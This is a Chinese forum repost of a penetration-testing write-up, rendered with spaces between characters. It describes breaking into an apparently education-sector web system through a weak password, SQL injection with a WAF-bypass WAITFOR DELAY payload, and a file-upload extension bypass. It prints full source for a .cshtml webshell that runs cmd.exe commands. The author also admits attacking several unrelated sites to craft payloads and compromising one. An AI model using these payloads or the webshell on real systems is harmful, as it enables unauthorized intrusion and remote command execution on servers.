搜索

[7539] 2021-03-11_实战记一次文件上传多重bypass

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-03-11_实战记一次文件上传多重bypass 实 战   |   记 一 次 文 件 上 传 多 重 b y p a s s 原 创   A G O N I   F 1 2 s e c   2 0 2 1 - 0 3 - 1 1 收 录 于 话 题   # 实 战 分 享   , 2 8 个 前 言 前 言 又 是 平 淡 无 奇 的 一 天 ， 和 室 友 翻 墙 出 校 门 ， 吃 火 锅 ， 才 归 来 。 打 开 e d u s r c 又 看 见 各 位 大 佬 纷 纷 霸 榜 。 x m s l 我 了 ， 有 没 有 洞 挖 ， 百 般 无 奈 ， 翻 自 己 历 史 漏 洞 看 看 ， 结 果 发 现 有 一 个 高 危 弱 口 居 然 还 没 有 修 复 ， 改 个 密 码 很 困 难 吗 ？ 欺 负 菜 鸡 也 不 能 这 么 欺 负 呀 ， 太 看 不 起 我 了 。 P a r t . 1   紧 接 上 文 紧 接 上 文 使 用 没 修 复 的 账 户 密 码 登 录 ， 主 界 面 如 下
在 某 查 询 界 面 ， 随 手 一 加 单 引 号 ， 报 错 ， 两 个 单 引 号 闭 合 无 报 错 信 息 ， s q l 注 入 无 疑 。
不 要 问 我 为 什 么 以 前 没 有 挖 出 来 ， 因 为 以 前 的 我 ， s q l m a p 跑 的 出 来 的 就 有 s q l 注 入 ， 跑 不 出 来 就 是 没 注 入 ， 真 是 又 菜 又 爱 玩 啊 。 P a r t . 2   b y p a s s w a f 继 续 f u z z 一 遍 ， 发 现 目 标 存 在 w a f ， 输 入 一 些 关 键 字 会 被 连 接 重 置 。 不 晓 得 是 硬 件 还 是 云 w a f 哦 ， 如 果 是 云 w a f 的 话 可 以 通 过 查 找 真 实 i p 进 行 运 气 绕 过 。 例 如 我 之 前 那 个 同 济 的 站 点 就 是 通 过 查 找 真 实 i p 地 址 进 行 绕 过 ， 另 一 种 呢 硬 件 w a f 的 话 ， 脏 字 节 填 充 吧 。 f u z z 一 遍 无 果 。
既 然 到 了 这 里 ， 还 是 老 规 矩 ， 先 打 其 他 没 有 w a f 的 站 点 搞 出 p a y l o a d ， 再 去 手 动 f u z z 构 造 p a y l o a d ： 运 气 很 好 ， 测 试 了 几 个 站 点 ， 拿 下 了 一 个 站 。 其 p a y l o a d 如 下 拿 到 p a y l o a d ， 拼 接 ， 还 是 会 被 重 置 ， 开 始 手 动 f u z z 。 发 现 可 以 通 过 % o a % o b 替 换 空 格 达 到 绕 过 的 效 果 最 终 p a y l o a d ： 1 ′ ) ; – % 0 a % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 ; % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 – % 0 a % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 W a i t f o r % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 – % 0 a % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 D e l a y % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 – % 0 a % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 ’ 0 0 : 0 0 : 5 ’ % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 – % 0 a % 0 b % 0 1 % 0 3 % 0 4 % 0 5 % 0 6 % 0 7 % 0 8 % 0 9 – h h h h
至 此 s q l 注 入 算 是 绕 过 了 。 P a r t . 3   g e t s h e l l 之 后 摸 索 进 入 另 一 个 子 站 点 之 后 ， 发 现 居 然 可 以 更 改 文 件 上 传 的 后 缀 。 于 是 更 改 一 波 后 开 始 找 上 传 点 。 自 然 而 然 的 找 到 了 内 容 管 理 ， 添 加 内 容 图 片 处 ， 开 始 上 传 。
果 然 秒 丢 包 ， 这 就 让 我 很 难 受 了 呀 ， 发 现 基 本 的 后 缀 都 被 锁 的 死 死 的 ， 我 丢 。 准 备 放 弃 了 ， 选 择 去 之 前 那 个 没 有 w a f 的 网 站 试 试 ， 重 复 之 前 的 操 作 ， 发 现 没 有 w a f 的 还 是 很 香 的 ， 但 是 a s p x 还 是 被 过 滤 掉 了 a s 。 既 然 会 过 滤 ， 那 我 们 就 可 以 考 虑 一 下 a a s s p x ， 过 滤 拦 截 会 过 滤 中 间 的 a s ， 之 后 会 自 动 拼 接 a     s p x , 形 成 a s p x 的 后 缀 ， 但 是 这 里 我 们 需 要 在 运 行 上 传 的 文 件 类 型 中 添 加 a a s s p x 。 之 后 拼 接 一 下 u r l ， 访 问 , o k   没 有 w a f 的 站 成 功 拿 下 。 这 个 是 图 片 所 以 乱 码 理 解 理 解 哈 哈 哈 哈 ， 别 一 来 就 上 马 。
既 然 思 路 有 了 ， 我 们 会 到 有 w a f 的 站 ， 重 复 上 面 的 操 作 。 上 传 成 功 ， 继 续 拼 接 访 问 。 我 t m 的 好 气 啊 ， 我 好 气 啊 ， 我 好 气 啊 ， 白 忙 活 了 。
试 了 一 波 ， 发 现 后 缀 依 然 卡 的 死 死 的 。 之 后 ， 脑 海 里 突 然 划 过 a s p x ， . n e t 的 站 点 应 该 是 支 持 c s h t m l 的 马 的 ， 于 是 说 干 就 干 。 文 章 如 下 。 h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 3 4 2 6 1 4 1 5 / a r t i c l e / d e t a i l s / 9 0 3 5 6 8 2 2 怕 你 们 懒 得 看 给 你 们 贴 c s h t m l 的 源 码 了 于 是 添 加 上 传 后 缀 ， 上 传 ， 结 果 出 其 意 料 的 顺 利 。 @ u s i n g   S y s t e m . C o d e D o m . C o m p i l e r ; @ u s i n g   S y s t e m . D i a g n o s t i c s ; @ u s i n g   S y s t e m . R e f l e c t i o n ; @ u s i n g   S y s t e m . W e b . C o m p i l a t i o n ; @ f u n c t i o n s   { s t r i n g   E x e c u t e C o m m a n d ( s t r i n g   c o m m a n d ,   s t r i n g   a r g u m e n t s   =   n u l l ) { v a r   o u t p u t   =   n e w   S y s t e m . T e x t . S t r i n g B u i l d e r ( ) ; v a r   p r o c e s s   =   n e w   P r o c e s s ( ) ; v a r   s t a r t I n f o   =   n e w   P r o c e s s S t a r t I n f o { F i l e N a m e   =   c o m m a n d , A r g u m e n t s   =   a r g u m e n t s , W o r k i n g D i r e c t o r y   =   H t t p R u n t i m e . A p p D o m a i n A p p P a t h , R e d i r e c t S t a n d a r d O u t p u t   =   t r u e , R e d i r e c t S t a n d a r d E r r o r   =   t r u e , U s e S h e l l E x e c u t e   =   f a l s e } ; p r o c e s s . S t a r t I n f o   =   s t a r t I n f o ; p r o c e s s . O u t p u t D a t a R e c e i v e d   + =   ( s e n d e r ,   a r g s )   = >   o u t p u t . A p p e n d L i n e ( a r g s . D a t a ) ; p r o c e s s . E r r o r D a t a R e c e i v e d   + =   ( s e n d e r ,   a r g s )   = >   o u t p u t . A p p e n d L i n e ( a r g s . D a t a ) ; p r o c e s s . S t a r t ( ) ; p r o c e s s . B e g i n O u t p u t R e a d L i n e ( ) ; p r o c e s s . B e g i n E r r o r R e a d L i n e ( ) ; p r o c e s s . W a i t F o r E x i t ( ) ; r e t u r n   o u t p u t . T o S t r i n g ( ) ; } } @ { v a r   c m d   =   E x e c u t e C o m m a n d ( " c m d . e x e " ,   " / c   w h o a m i " ) ; } O u t p u t   o f   t h e   i n j e c t e d   c o m m a n d   ( b y   N i e m a n d ) : @ c m d
不 过 还 是 有 点 鸡 肋 只 能 执 行 特 定 命 令 。 也 算 是 拿 下 吧 。 可 累 死 了 。 求 哥 哥 带 我 审 计 好 嘛 ， 学 j a v a 有 点 枯 燥 ， 你 们 咋 学 的 j a v a 啊 ， 直 接 往 脑 子 里 灌 吗 ？
往 期 推 荐 实 战   |   组 合 拳 杀 入 教 务 系 统 实 战   |   记 一 次 和 厂 家 相 爱 相 杀 实 战   |   记 e d u . s r c 弱 口 令 检 测 大 师 的 一 次 捡 漏
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理